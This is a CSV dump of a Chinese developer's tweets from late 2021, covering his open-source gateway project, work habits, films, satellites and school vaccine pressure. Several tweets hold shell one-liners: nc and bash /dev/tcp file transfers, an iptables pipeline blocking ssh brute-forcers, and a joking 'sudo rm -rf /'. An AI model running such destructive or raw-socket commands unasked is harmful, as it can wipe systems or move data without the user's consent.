Bilibili 上都上传了，而且有章节时间。欢迎关注。\n\n- Y站 https://t.co/9YgQnA87uZ\n\n- B站 https://t.co/oFdJWGjzaQ\",\"[TextLink(text='youtube.com/watch?v=B2s57Q…', url='https://youtube.com/watch?v=B2s57QP1C0w', tcourl='https://t.co/9YgQnA87uZ', indices=(140, 163)), TextLink(text='bilibili.com/video/BV15g411…', url='https://bilibili.com/video/BV15g411A72G/', tcourl='https://t.co/oFdJWGjzaQ', indices=(170, 193))]\",https://twitter.com/haoel/status/1472537321325367297\n2561,1472480668185550848,2021-12-19 08:15:23+00:00,1,0,0,,@tinyfool 哈哈哈😄,,https://twitter.com/haoel/status/1472480668185550848\n2562,1472441055786123270,2021-12-19 05:37:58+00:00,2,0,1,,@shell909090 纹一个二维码，一扫跳转网页😂,,https://twitter.com/haoel/status/1472441055786123270\n2563,1472440300979298312,2021-12-19 05:34:59+00:00,0,0,1,,@cuntouwumingshi 你也常去？,,https://twitter.com/haoel/status/1472440300979298312\n2564,1472087314348216320,2021-12-18 06:12:20+00:00,0,0,1,,@shell909090 纹身？🤪,,https://twitter.com/haoel/status/1472087314348216320\n2565,1472067341529739267,2021-12-18 04:52:58+00:00,0,0,1,,@savecn @sheayone 学习了，各位,,https://twitter.com/haoel/status/1472067341529739267\n2566,1472038073999392768,2021-12-18 02:56:40+00:00,178,3,78,,我一直在用十几块钱的两个刀片的刮胡刀，昨晚本想买个高速U盘，结果不知为何却买了个5层刀片的179元的刮胡刀，今早快递8点半就送到了，我马上用上……这体验真是太好了，好舒服啊……哎，我真是太out了，平时还是要多体验一些新产品…… https://t.co/gI8c0e55MI,,https://twitter.com/haoel/status/1472038073999392768\n2567,1472033352395812866,2021-12-18 02:37:54+00:00,10,1,0,,@nishuang 好久不见啊……,,https://twitter.com/haoel/status/1472033352395812866\n2568,1471806748839137280,2021-12-17 11:37:28+00:00,3,0,0,,@yetone 我是非活跃用户…… https://t.co/VyawLMUfy3,,https://twitter.com/haoel/status/1471806748839137280\n2569,1471771230810546184,2021-12-17 09:16:20+00:00,2,0,0,,@apiSchaan 护眼应该比省电更重要吧。,,https://twitter.com/haoel/status/1471771230810546184\n2570,1471666744901390336,2021-12-17 02:21:08+00:00,1,0,2,,@ftium4 我原文的意思是，dark mode 更容易入睡……,,https://twitter.com/haoel/status/1471666744901390336\n2571,1471665166349893632,2021-12-17 02:14:52+00:00,1,0,0,,@cuntouwumingshi 选项要完整，要 100%的覆盖所有的组合情况,,https://twitter.com/haoel/status/1471665166349893632\n2572,1471664921712951297,2021-12-17 02:13:54+00:00,45,1,9,,我是写代码喜欢用黑的，因为代码是彩色的，在黑背景下更好，但是除此之外，我都喜欢白底，包括晚上。另外，我发现睡前看手机用 dark mode，不用 5 分钟，我就睡着了，而看 light mode 的则可以一直看下去…… 😉,,https://twitter.com/haoel/status/1471664921712951297\n2573,1471663820917866497,2021-12-17 02:09:31+00:00,37,6,38,,Google “Is dark mode better for your eyes?” ，可以搜到几乎一面倒的说“暗黑模式”反而更不护眼。白色背景上的黑色文本是最好的，因为白色会反射色谱中的每个波长，虹膜不需要张开很大来吸收白光。而黑色背景上的白色文字，会使眼睛更加努力工作并睁得更大，因为它需要吸收更多的光……大家常得呢?,,https://twitter.com/haoel/status/1471663820917866497\n2574,1471328077024481288,2021-12-16 03:55:24+00:00,10,0,1,,@cs_wanghan 是的，已经不知道如果组织信息了,,https://twitter.com/haoel/status/1471328077024481288\n2575,1471325722665189382,2021-12-16 03:46:02+00:00,894,133,154,,一个高中同学跟我 吐槽说不知道现在为什么要还要使用电子邮件，用聊天效率多高，我想引导他想想email 有什么好的，他说微信群，语音或是视频是最好的。我就只能回一回email 有哪些地方是好的。信息结构化，信息完整，可以异步批量处理……这世上只有很少的事情需要像处理 sev2那样实时沟通…… https://t.co/DJwvn0quzg,,https://twitter.com/haoel/status/1471325722665189382\n2576,1471305198228230146,2021-12-16 02:24:29+00:00,31,0,6,,大家别忘了今晚的 Code Review...,,https://twitter.com/haoel/status/1471305198228230146\n2577,1471118361446662147,2021-12-15 14:02:04+00:00,5,1,0,,@GreenHat2333 https://t.co/YBHst55hbx 上有加入 slack 的链接,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress', tcourl='https://t.co/YBHst55hbx', indices=(14, 37))]\",https://twitter.com/haoel/status/1471118361446662147\n2578,1471072720926347267,2021-12-15 11:00:42+00:00,0,0,1,,@jun_cn 运气好罢了,,https://twitter.com/haoel/status/1471072720926347267\n2579,1471060849389236224,2021-12-15 10:13:32+00:00,275,14,14,,说明一下，如果你在我们的开源社区中看到一个叫 Samu 的同学用中文跟你交流，请给予一些支持，这是新加入我们团队的一位来自芬兰的程序员，他的中文还比较生硬，但是人很好，技术也不错。如果可能，可以教教他中文，当然，也可以用芬兰语或英语跟他交流……🖖🏻 https://t.co/CZDhktpI6M,,https://twitter.com/haoel/status/1471060849389236224\n2580,1470995658530189319,2021-12-15 05:54:29+00:00,1,0,1,,@wey_gu @tinyfool Tiniverse,,https://twitter.com/haoel/status/1470995658530189319\n2581,1470937369037524996,2021-12-15 02:02:52+00:00,0,0,0,,@258227942Com 看一下这个thread,,https://twitter.com/haoel/status/1470937369037524996\n2582,1470664573678403587,2021-12-14 07:58:52+00:00,2,0,0,,@zuopiezi golang,,https://twitter.com/haoel/status/1470664573678403587\n2583,1470660133416243200,2021-12-14 07:41:14+00:00,51,0,19,,前些天才说现在经常收到一些没有称谓，没有自我介绍，没有联系方式的“一句话邮件”，让人觉得无语。今天发现，微信群也一样，有人直接把我拉到一个群里，然后，没有任何自我介绍和相关问题的背景说明，直接要我上他们公司交流解决问题……我派个商务过去了解一下情况，他们还嫌我傲慢和大牌……😇,,https://twitter.com/haoel/status/1470660133416243200\n2584,1470604675884142594,2021-12-14 04:00:51+00:00,146,22,6,,\"Easegress开源之后，收到了好些PR，现在也 4k星了，为便于大家更好的参与开发，本周四（16号）晚8点，我们会讲解 Easegress 的代码，也做个正式的Code Review欢迎参加。\n———————\nEasegress Source Code Review\n2021年12月16日 20:00 北京\nhttps://t.co/qcMl4MiXvy\n会议号：831 8301 1087\n密码：304593 https://t.co/hp1zajqPp5\",\"[TextLink(text='zoom.us/j/83183011087?…', url='https://zoom.us/j/83183011087?pwd=V0RpbytMb3pCRjRiVEkyclRMOHFMUT09', tcourl='https://t.co/qcMl4MiXvy', indices=(157, 180))]\",https://twitter.com/haoel/status/1470604675884142594\n2585,1469594192498532353,2021-12-11 09:05:33+00:00,37,6,1,,来，少年，黑掉NASA火星无人直升机“机智号”的任务就交给你了……😜,,https://twitter.com/haoel/status/1469594192498532353\n2586,1469565351612809218,2021-12-11 07:10:57+00:00,51,1,7,,\"苹果手机直接在照片上copy其中的文字“Go语言设计与实现”，这体验真好……@draven0xff 为什么作者名字后面是@ Draven，不是Draven0xff, 也不是 Draveness？这跟英雄联盟的德莱文有关系么？ https://t.co/tfEq57PJl3\",,https://twitter.com/haoel/status/1469565351612809218\n2587,1469545943393783810,2021-12-11 05:53:50+00:00,0,0,2,,@haishuihuang1 技术也会同步升级的，过去 20 年的互联网不就这么过来了吗？要学会有动态的眼光看问题,,https://twitter.com/haoel/status/1469545943393783810\n2588,1469500087500156929,2021-12-11 02:51:37+00:00,22,0,3,,另外，这里讨论的主题不是互联网，而是边缘网络，场景是有线网络很难覆盖的区域，只能走无线。而我只是在畅想，未来的边缘基础设施，如果有卫星的加持下，技术在未来不断的升级，那想像空间将会比建地面基站大得多的多，不是吗？,,https://twitter.com/haoel/status/1469500087500156929\n2589,1469500085063274498,2021-12-11 02:51:36+00:00,24,3,3,,一些网友说卫星的高延时，低带宽的问题。我再补几条：1）传统提供互联网服务同步卫星离地35000公里，而Starlink的仅550公里，2）Starlink号称要提供的服务是下行100Mbps到200Mbps，延迟20ms的，可以看视频打游戏。3）speedtest 有篇测评可以看看，某些地方超过普通固定宽带 https://t.co/qFFDiFvXs5,\"[TextLink(text='speedtest.net/insights/blog/…', url='https://www.speedtest.net/insights/blog/starlink-hughesnet-viasat-performance-q2-2021/amp/', tcourl='https://t.co/qFFDiFvXs5', indices=(155, 178))]\",https://twitter.com/haoel/status/1469500085063274498\n2590,1469317926528614405,2021-12-10 14:47:46+00:00,0,0,0,,@DavidGoFreedom 想想GPS，基本不会吧……,,https://twitter.com/haoel/status/1469317926528614405\n2591,1469313835689717761,2021-12-10 14:31:31+00:00,99,5,17,,试想一下未来，如果整个地球有上万颗低轨卫星提供任意设备所需要的网络接入，随着这个很科幻的“空间云计算”基础设施越来越成熟，处理能力越来越强，再加上陆地有线骨干网和极大算力的若干个地面数据中心进行安全地存储、计算和分析……这才正是未来20年的云计算基础设施和网络互联的形态…… 2/2,,https://twitter.com/haoel/status/1469313835689717761\n2592,1469313829297623041,2021-12-10 14:31:30+00:00,165,15,10,,刚才跟一朋友聊天边缘计算，朋友说5G网络会是边缘计算的基础设施，我对此有不同的看法。虽然我们都认为边缘设备高速接入很重要，但我个人觉得5G只不过在3G/4G上原地内卷，我更看好Starlink的 1.2W颗低轨卫星，真正全球无死角的解决接入问题。AWS的Kuiper也花100亿刀准备发3K个卫星干同样的事……1/2,,https://twitter.com/haoel/status/1469313829297623041\n2593,1469254952732467203,2021-12-10 10:37:32+00:00,11,0,0,,@bvTmhZzSdohFVGb 我建议你还是学习学习英文吧。不然你永远活在二手信息里了……,,https://twitter.com/haoel/status/1469254952732467203\n2594,1469249060272209920,2021-12-10 10:14:07+00:00,456,103,2,,\"Apache Log4j 的 0 day 远程代码执行，是经典的 JNDI注入攻击，通过加载远程类完成，下面两篇文章大家都学习一下吧其漏洞原理。\n\n[1] https://t.co/9W63qkU2FF\n\n[2] https://t.co/4P1DrtcHg2 https://t.co/KCC759NubA\",\"[TextLink(text='veracode.com/blog/research/…', url='https://www.veracode.com/blog/research/exploiting-jndi-injections-java', tcourl='https://t.co/9W63qkU2FF', indices=(78, 101)), TextLink(text='blackhat.com/docs/us-16/mat…', url='https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf', tcourl='https://t.co/4P1DrtcHg2', indices=(107, 130))]\",https://twitter.com/haoel/status/1469249060272209920\n2595,1469140439341367299,2021-12-10 03:02:30+00:00,94,7,0,,重新组织了一下 Easegress 的文档，从How-To 的 Cookbook 再到开发手册，再到性能调优，再到内部 Controller 和 Filters 的 Reference Guide， 从开源4-5 个月以来，还是干很多很多事的，越来越成熟了……  （文档传送门：https://t.co/pfNWw1mFa3 ） https://t.co/PhesHuA9pd,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress/tree/main/doc', tcourl='https://t.co/pfNWw1mFa3', indices=(139, 162))]\",https://twitter.com/haoel/status/1469140439341367299\n2596,1468967346605674503,2021-12-09 15:34:42+00:00,428,72,11,,印度电影《Jai Bhim》拍的真好，不说这么些原生态的演员咱找的，这种内容体裁和深度，令人震撼，强烈推荐！https://t.co/WuCrRofHKq （注：IMDB居然9.5分） https://t.co/tEhttVspUz,\"[TextLink(text='m.douban.com/movie/subject/…', url='https://m.douban.com/movie/subject/35652715/', tcourl='https://t.co/WuCrRofHKq', indices=(54, 77))]\",https://twitter.com/haoel/status/1468967346605674503\n2597,1468377871261466626,2021-12-08 00:32:20+00:00,211,18,19,,把宽屏显示器横放坚放都不好，斜22度才是最好的……🤪 https://t.co/0exu9qFFXK https://t.co/C91dp0BqNp,\"[TextLink(text='sprocketfox.io/xssfox/2021/12…', url='https://sprocketfox.io/xssfox/2021/12/02/xrandr/', tcourl='https://t.co/0exu9qFFXK', indices=(27, 50))]\",https://twitter.com/haoel/status/1468377871261466626\n2598,1467701236057067525,2021-12-06 03:43:37+00:00,2,1,4,,@geniusvczh 有人发黄图,,https://twitter.com/haoel/status/1467701236057067525\n2599,1466429171731734537,2021-12-02 15:28:54+00:00,2,0,0,,@yihong0618 尽量互粉,,https://twitter.com/haoel/status/1466429171731734537\n2600,1466428885264965632,2021-12-02 15:27:45+00:00,23,5,0,,@abskoop @yjz0065 macOS 上，我一直用qBittorrent https://t.co/p3X0PrnSbp,\"[TextLink(text='qbittorrent.org', url='https://www.qbittorrent.org', tcourl='https://t.co/p3X0PrnSbp', indices=(42, 65))]\",https://twitter.com/haoel/status/1466428885264965632\n2601,1466386377113628674,2021-12-02 12:38:51+00:00,1,0,0,,@yuxiyou 是,,https://twitter.com/haoel/status/1466386377113628674\n2602,1466328064527192064,2021-12-02 08:47:08+00:00,3,0,2,,原来UFC可以踩脚的……https://t.co/p6x1WuVv3E,\"[TextLink(text='b23.tv/grex6Bq', url='https://b23.tv/grex6Bq', tcourl='https://t.co/p6x1WuVv3E', indices=(12, 35))]\",https://twitter.com/haoel/status/1466328064527192064\n2603,1466245845162991629,2021-12-02 03:20:25+00:00,0,0,0,,@CnHawkOrg 我们缺😂,,https://twitter.com/haoel/status/1466245845162991629\n2604,1466201111291785218,2021-12-02 00:22:40+00:00,60,3,6,,跑车司机说，你看，我的车多帅，跑的又快。货车司机说，你拉个十吨货物跑跑看？双方互相争执的时候，又来了个越野车司机说，你们别吵了，有种跟我到山路上跑一下……,,https://twitter.com/haoel/status/1466201111291785218\n2605,1465957069048090629,2021-12-01 08:12:56+00:00,128,18,1,,\"继续帮你们还原\n\nServer 端：\n$ nc -p 0 -l 5000 &lt; /path/to/file\n\nClient 端\n$ bash -c \"\"cat &lt; /dev/tcp/&lt;ip&gt;/5000 &gt; /path/to/file\"\"\",,https://twitter.com/haoel/status/1465957069048090629\n2606,1465883667998199808,2021-12-01 03:21:15+00:00,258,36,7,,\"帮补充一下：完整的命令行大致如下所示：\n\n服务端\n$ base64 bin &gt; bin.txt\n$ python3 -m http.server\n\n客户端\n$ telnet &lt;ip&gt; 8000 | tee  bin.txt\n&gt; GET /bin.txt HTTP/1.0 （两次回车）\n$ vi bin.txt （删除文件中的 HTTP Resp Head）\n$ base64 -d bin.txt &gt; bin\",,https://twitter.com/haoel/status/1465883667998199808\n2607,1465875614611566593,2021-12-01 02:49:15+00:00,0,0,0,,@luosheng VNC 应该可以 copy+paste 过去吧,,https://twitter.com/haoel/status/1465875614611566593\n2608,1465853210334167042,2021-12-01 01:20:14+00:00,0,0,1,,@luosheng 好像现在的linux都不预装这些老命令了,,https://twitter.com/haoel/status/1465853210334167042\n2609,1465851168681185282,2021-12-01 01:12:07+00:00,0,0,3,,@luosheng 回到上古命令行。另外，用ftp会不会更简单一些……,,https://twitter.com/haoel/status/1465851168681185282\n2610,1465305780236652548,2021-11-29 13:04:56+00:00,36,2,8,,当我在北京市企业服务平台上查询可注册公司名时，用“一个”作关建词，发现有如下注册的公司名称，有些名称还是很皮的…… https://t.co/DZHCfmkLop,,https://twitter.com/haoel/status/1465305780236652548\n2611,1464629478374588417,2021-11-27 16:17:33+00:00,8,3,2,,估计奥斯卡最佳外语片沒跑了……,,https://twitter.com/haoel/status/1464629478374588417\n2612,1464626974349938688,2021-11-27 16:07:36+00:00,427,68,25,,《摩加迪沙》，本以为这个片子没什么意思，没想到如此之好看……索马里的内乱让韩朝双方不得不共患难的一个故事……整个电影的各种细节，政府军，叛军，韩朝双方，各种表情眼神心里活动，表现的真是太好了……整个影片表现的价值观太强大了……从技术到内容，上乘水准……强烈推荐！ https://t.co/484l2pOqiv,,https://twitter.com/haoel/status/1464626974349938688\n2613,1464526086134374408,2021-11-27 09:26:43+00:00,76,5,6,,看到几张1985 年老昆明的照片（来源：https://t.co/IuZQiXFql6），第一张图中的“东风车”，从小坐着上学，第二次南屏街巨大的电影广告牌，第三张应该是小西门的广告牌，第四张应该是长春剧院门口吧。现在要没这些照片，已经完全想不起来了…… https://t.co/pYPfRkah7Y,\"[TextLink(text='flickr.com/photos/gedawei…', url='https://www.flickr.com/photos/gedawei/sets/72157594501049575/', tcourl='https://t.co/IuZQiXFql6', indices=(20, 43))]\",https://twitter.com/haoel/status/1464526086134374408\n2614,1464179499461857291,2021-11-26 10:29:30+00:00,3,0,0,,@henryxie2093 政治任务……💩,,https://twitter.com/haoel/status/1464179499461857291\n2615,1464128223881543683,2021-11-26 07:05:45+00:00,90,2,16,,昨天，我问我家娃，学校是否又找你谈话了？孩子说，今天教导主任来我们班教“数综”，讲分数，然后举了个疫苗的例子，接下来就唠叨了 20 分钟，说 1 班已经全部打了，你们班还有两个人，虽然是自愿，但……blabla，课后有好些同学来问为啥不打？有个同学还说，就算打死了也应该打……孩子说真是有病……,,https://twitter.com/haoel/status/1464128223881543683\n2616,1463690992549130244,2021-11-25 02:08:21+00:00,74,10,10,,我的邮箱和我们公司的邮箱经常收到这样的“一句话”邮件，没有开头，没有落款，没有事由，没有联系方式，就只有一句话。我感觉就是平时聊天软件用太多，已经不知道怎么描述一个事了……,,https://twitter.com/haoel/status/1463690992549130244\n2617,1463515310661591045,2021-11-24 14:30:15+00:00,12,1,2,,@kevinzhow 命令行在手机上出现的时候，真想输入 sudo rm -rf /,,https://twitter.com/haoel/status/1463515310661591045\n2618,1463513468997234689,2021-11-24 14:22:56+00:00,286,17,13,,我都不用怎么安慰，孩子都知道用这种“要挟”的方式来教育有多low……孩子说，能不能上学，能不能参加活动，凭什么跟打不打疫苗有关系？不去更好！我说，我支持你，因为如果是这样的原因而上不了学，那这样的学校也没必要上了，我给你找正常的学校……下次让老师直接找我聊……,,https://twitter.com/haoel/status/1463513468997234689\n2619,1463502932955910144,2021-11-24 13:41:04+00:00,1,0,0,,@liuhaobo528 小学生一样的政治课……,,https://twitter.com/haoel/status/1463502932955910144\n2620,1463487810669723650,2021-11-24 12:40:59+00:00,23,0,2,,@acgotaku311 所以，三十年前，我上学的时候是这样，三十年后，毫无变化……,,https://twitter.com/haoel/status/1463487810669723650\n2621,1463478709315276805,2021-11-24 12:04:49+00:00,6,0,1,,@yese2023 请问，什么时候合适？,,https://twitter.com/haoel/status/1463478709315276805\n2622,1463454724452020226,2021-11-24 10:29:30+00:00,438,39,72,,我家孩子是学校里几个沒打疫苗的学生，今天中午他们被教务主任叫到办公室教育了半个小时，大意是，疫苗很安全，如果不打可能会影响升初中，也可能会影响社团活动，还说冬奥会有可能组织去观看，但是没打疫苗，就可能去不了……孩子回家说，不太理解为啥自己上不了学参加不了活动会跟主任有关系……🤣,,https://twitter.com/haoel/status/1463454724452020226\n2623,1463424821786669057,2021-11-24 08:30:41+00:00,109,18,10,,看看，印度人多强，以后再不要歧视他们，叫他们印度阿三了。《7年赚出两个阿里加两个腾讯，他是地表最强打工人！ 》https://t.co/FXhkZDZDVA,\"[TextLink(text='sohu.com/a/501988398_53…', url='https://www.sohu.com/a/501988398_532789', tcourl='https://t.co/FXhkZDZDVA', indices=(55, 78))]\",https://twitter.com/haoel/status/1463424821786669057\n2624,1463421691019726849,2021-11-24 08:18:14+00:00,1,1,2,,@eson000 挖坟啊,,https://twitter.com/haoel/status/1463421691019726849\n2625,1463146919450972166,2021-11-23 14:06:24+00:00,272,37,9,,《基地》S01E09 开头的几句话，还是很深刻的…… https://t.co/V4IHrVLT51,,https://twitter.com/haoel/status/1463146919450972166\n2626,1463144068729344009,2021-11-23 13:55:04+00:00,16,0,3,,@mranti 灵魂就是还有人人用手放饺皮，按理来说，这都应该是自动化……所以，机器的设计者考虑到了“灵魂”……,,https://twitter.com/haoel/status/1463144068729344009\n2627,1462777047000891392,2021-11-22 13:36:39+00:00,34,3,0,,@Fenng https://t.co/VjBvT7lIMT,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1251390176703574016', tcourl='https://t.co/VjBvT7lIMT', indices=(7, 30))]\",https://twitter.com/haoel/status/1462777047000891392\n2628,1462757185981542403,2021-11-22 12:17:44+00:00,0,0,0,,@jerry2mx 这个是个习惯啊，不是强迫症啊。,,https://twitter.com/haoel/status/1462757185981542403\n2629,1462752185494630402,2021-11-22 11:57:52+00:00,28,0,43,,我家 10 后告诉我，网上 虽人聊天的时候，一句话后面有句号，表示自己的心情不好…… 是这样的吗？,,https://twitter.com/haoel/status/1462752185494630402\n2630,1461746719633272834,2021-11-19 17:22:30+00:00,6,0,0,,@laixintao etckeeper,,https://twitter.com/haoel/status/1461746719633272834\n2631,1461691553915703310,2021-11-19 13:43:18+00:00,98,9,5,,我一般是把重要的文件目录放 git 里面……比如整个/etc 目录，并推到服务器上，看上去有点重，但是，真心爽！谁用谁知道……😎,,https://twitter.com/haoel/status/1461691553915703310\n2632,1461622299665129472,2021-11-19 09:08:06+00:00,143,24,2,,《源代码特洛伊木马攻击》如何通过Unicode在源代码中放后门。这篇文章讲述了三种方式：双向文本，不可见字符 和 同形字符。 https://t.co/0e82tpCgh1,\"[TextLink(text='coolshell.cn/articles/21649…', url='https://coolshell.cn/articles/21649.html', tcourl='https://t.co/0e82tpCgh1', indices=(63, 86))]\",https://twitter.com/haoel/status/1461622299665129472\n2633,1461586105011081220,2021-11-19 06:44:17+00:00,23,3,1,,再次看了一上SO上的这个被up vote了上万次的原贴，发现，我成文这十年中，历史不断地被修改。https://t.co/JgqQWlAjyF,\"[TextLink(text='stackoverflow.com/questions/6841…', url='https://stackoverflow.com/questions/6841333/why-is-subtracting-these-two-times-in-1927-giving-a-strange-result', tcourl='https://t.co/JgqQWlAjyF', indices=(48, 71))]\",https://twitter.com/haoel/status/1461586105011081220\n2634,1461582153943175169,2021-11-19 06:28:35+00:00,79,11,2,,10年前我就写过了：https://t.co/0fVXMbRvlI,\"[TextLink(text='coolshell.cn/articles/5075.…', url='https://coolshell.cn/articles/5075.html', tcourl='https://t.co/0fVXMbRvlI', indices=(10, 33))]\",https://twitter.com/haoel/status/1461582153943175169\n2635,1461222318261383178,2021-11-18 06:38:43+00:00,1,0,5,,我刚发了一封邮件给报名的同学，大家看一下是否收到了。如果没有收到，私信我。,,https://twitter.com/haoel/status/1461222318261383178\n2636,1461195461075685377,2021-11-18 04:52:00+00:00,0,0,0,,@haiwaihuafei 嗯，我又加了点名额。因为有人不付款占库存……,,https://twitter.com/haoel/status/1461195461075685377\n2637,1461185619590189062,2021-11-18 04:12:53+00:00,31,0,18,,关于这个Cloud Native的研讨会，订在11月27日（下周六）早上10点-12点进行。本次活动是收费活动，人数控制在50个人以内。报名链接在这里：https://t.co/qeXHmQHQqL,\"[TextLink(text='hdxu.cn/4Qywq', url='http://hdxu.cn/4Qywq', tcourl='https://t.co/qeXHmQHQqL', indices=(76, 99))]\",https://twitter.com/haoel/status/1461185619590189062\n2638,1460861118306402304,2021-11-17 06:43:26+00:00,0,0,0,,@DNXXYMCJ @ipcjs 是的，支持很多样式，可以简洁，也可以花哨。,,https://twitter.com/haoel/status/1460861118306402304\n2639,1460855302874484738,2021-11-17 06:20:20+00:00,405,66,20,,\"给“工具党”的同学推荐一个 zsh 的 theme: https://t.co/aEaOJKB0Xi\n安装中会安装字体，还会帮你设置iterm2的配置。\n\nVSCode需要在settings.json里设置下面两个配置：\n\"\"terminal.integrated.fontSize\"\": 13,\n\"\"terminal.integrated.fontFamily\"\": \"\"MesloLGS NF\"\" https://t.co/K53kKfIZPz\",\"[TextLink(text='github.com/romkatv/powerl…', url='https://github.com/romkatv/powerlevel10k', tcourl='https://t.co/aEaOJKB0Xi', indices=(27, 50))]\",https://twitter.com/haoel/status/1460855302874484738\n2640,1460569237764800521,2021-11-16 11:23:37+00:00,142,5,24,,想找以前的崔健，黑豹，唐朝，中国火的歌，找完网易和腾讯，最后还是发现 YouTube Music 上收录的完整……,,https://twitter.com/haoel/status/1460569237764800521\n2641,1460247449142849544,2021-11-15 14:04:56+00:00,28,0,1,,\"( bug fix - refer to: https://t.co/RrC7ccDYAb ) @virdefender \n\ngrep \"\"Failed\"\" /var/log/auth.log | \\\n     awk '{print $(NF-3)}' | \\\n     sort | uniq -c | sort -n | \\\n     awk '{if ($1&gt;100) print $2}' | \\\n     xargs -I {} iptables -A INPUT -s {} -j DROP https://t.co/OQFKyF0u21\",\"[TextLink(text='twitter.com/virdefender/st…', url='https://twitter.com/virdefender/status/1460182357210636292', tcourl='https://t.co/RrC7ccDYAb', indices=(22, 45))]\",https://twitter.com/haoel/status/1460247449142849544\n2642,1460202395317641225,2021-11-15 11:05:54+00:00,0,0,0,,@feelinglucky 不错的建议👍🏻,,https://twitter.com/haoel/status/1460202395317641225\n2643,1460193612646387714,2021-11-15 10:31:00+00:00,0,0,0,,@virdefender 不错不错！,,https://twitter.com/haoel/status/1460193612646387714\n2644,1460167496120422400,2021-11-15 08:47:14+00:00,0,0,1,,@laixintao 依赖太多了……,,https://twitter.com/haoel/status/1460167496120422400\n2645,1460166230317285382,2021-11-15 08:42:12+00:00,0,0,1,,@iceboundrock 我这边改端口没用……,,https://twitter.com/haoel/status/1460166230317285382\n2646,1460161466233810949,2021-11-15 08:23:16+00:00,305,46,27,,\"一行命令 block 掉暴力破解 ssh 的 IP（求更好的）\n\ngrep \"\"Failed\"\" /var/log/auth.log | \\\n     grep -o '[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}'| \\\n     sort | uniq -c | sort -n | \\\n     awk '{if ($1&gt;100) print $2}' | \\\n     xargs -I {} iptables -A INPUT -s {} -j DROP https://t.co/Jg8AA9Y81o\",,https://twitter.com/haoel/status/1460161466233810949\n2647,1459342971577397251,2021-11-13 02:10:52+00:00,189,21,14,,我还以为这是中国特色，原来国外也一样……,,https://twitter.com/haoel/status/1459342971577397251\n2648,1459166371745460226,2021-11-12 14:29:07+00:00,0,0,0,,@nobody0day 哈哈哈,,https://twitter.com/haoel/status/1459166371745460226\n2649,1459020963706593282,2021-11-12 04:51:19+00:00,1,0,1,,@madawei2699 已经转静态页并架在cloudflare上了,,https://twitter.com/haoel/status/1459020963706593282\n2650,1459020218634698753,2021-11-12 04:48:22+00:00,0,0,1,,@stingh711 我这不给了一个引用推么……😜,,https://twitter.com/haoel/status/1459020218634698753\n2651,1459013614786912263,2021-11-12 04:22:07+00:00,0,0,1,,@stingh711 我写错了，应该是一年15刀……,,https://twitter.com/haoel/status/1459013614786912263\n2652,1459013130273452033,2021-11-12 04:20:12+00:00,0,0,1,,@tingzhouxu 现在没有数据流量了，只能当个电话使了……,,https://twitter.com/haoel/status/1459013130273452033\n2653,1459012616513224713,2021-11-12 04:18:09+00:00,1,0,3,,@madawei2699 因为浏量大，至少要4核和16G，一个月大概有个1.5 TB的流量……,,https://twitter.com/haoel/status/1459012616513224713\n2654,1458993277349228544,2021-11-12 03:01:18+00:00,1,0,0,,@fujohnwang 以前免费不支持私有repo，所以就买了，一直就续下来了……,,https://twitter.com/haoel/status/1458993277349228544\n2655,1458991538352975881,2021-11-12 02:54:24+00:00,27,0,6,,\"发现还漏了几个：\n- Github, 300元/年\n- Google Fi, 1500/年\n- Safari Book， 500元/年（好像是）\n\n😭\",,https://twitter.com/haoel/status/1458991538352975881\n2656,1458976868007243778,2021-11-12 01:56:06+00:00,1,0,1,,@affanasieff @1thirdrabbit 关于第一点，绝大多数人适合，不排除有例外。关于第二天，我觉得你没看懂我说的，我说的是70%的人只能到SDE2，不是说亚马逊工程师级别的天花板……,,https://twitter.com/haoel/status/1458976868007243778\n2657,1458963090444226582,2021-11-12 01:01:21+00:00,6,0,8,,听大家的 https://t.co/RHLTWW4pbB,,https://twitter.com/haoel/status/1458963090444226582\n2658,1458961734463492111,2021-11-12 00:55:58+00:00,6,0,2,,@1thirdrabbit 首先，在亚麻，毕业生无论本科，硕士还博士，只能从SDE1起步。其次，亚麻的SDE2是70%工程师的天花板。（PS，这样的事经常发生，就像python的作者也收到请他当python工程师的应聘邀请，HR的四处找人的确会乌龙，话说回来，能找到微软CTO，说明这HR找人的能力还不错）,,https://twitter.com/haoel/status/1458961734463492111\n2659,1458959483221073926,2021-11-12 00:47:01+00:00,16,0,40,,升吗？ https://t.co/QV8ir1Q7VD,,https://twitter.com/haoel/status/1458959483221073926\n2660,1458323095437991941,2021-11-10 06:38:14+00:00,1,0,0,,\"@yongqianme for me, I don't measure their work, I measure their achievement. In MegaEase, I have a clear document states what level need to accomplish what achievement. for example, senior developers must lead to solving difficult problems by using the best practice.\",,https://twitter.com/haoel/status/1458323095437991941\n2661,1458259105030631428,2021-11-10 02:23:58+00:00,32,1,3,,\"@yongqianme Monitoring is the wrong way to manage people. If you do not trust, fire them, if you trust, leave them. The X problem is not the monitor, if you want to monitor then you need ask yourself whether you hired the right people?\",,https://twitter.com/haoel/status/1458259105030631428\n2662,1458234101790494721,2021-11-10 00:44:37+00:00,98,2,11,,居然想用被外星人绑架来请假，还好我们支持远程……差点就被他晃点过去了…… https://t.co/aQ4GKynHbz,,https://twitter.com/haoel/status/1458234101790494721\n2663,1458079411719204868,2021-11-09 14:29:56+00:00,0,0,1,,@moonzju 这链接，怎么得到的？,,https://twitter.com/haoel/status/1458079411719204868\n2664,1458019930868047874,2021-11-09 10:33:34+00:00,13,0,2,,@dragon_lyl 我们MegaEase 云南有点……😜,,https://twitter.com/haoel/status/1458019930868047874\n2665,1457989989870948357,2021-11-09 08:34:36+00:00,4,0,4,,@tinyfool @lixiaoshuang417 现在浏览淘宝商品还要先登录……哎……,,https://twitter.com/haoel/status/1457989989870948357\n2666,1457948694829932546,2021-11-09 05:50:30+00:00,1,0,1,,@loddit 是的，慈云寺桥,,https://twitter.com/haoel/status/1457948694829932546\n2667,1457938036516433929,2021-11-09 05:08:09+00:00,59,3,15,,今天北京的空气能见度实在是太好了，在东四环这边居然能看到远处的山……（应该是香山吧）p.s 照片由手机直接成像无PS https://t.co/x3vY1IYUlU,,https://twitter.com/haoel/status/1457938036516433929\n2668,1457927321889894401,2021-11-09 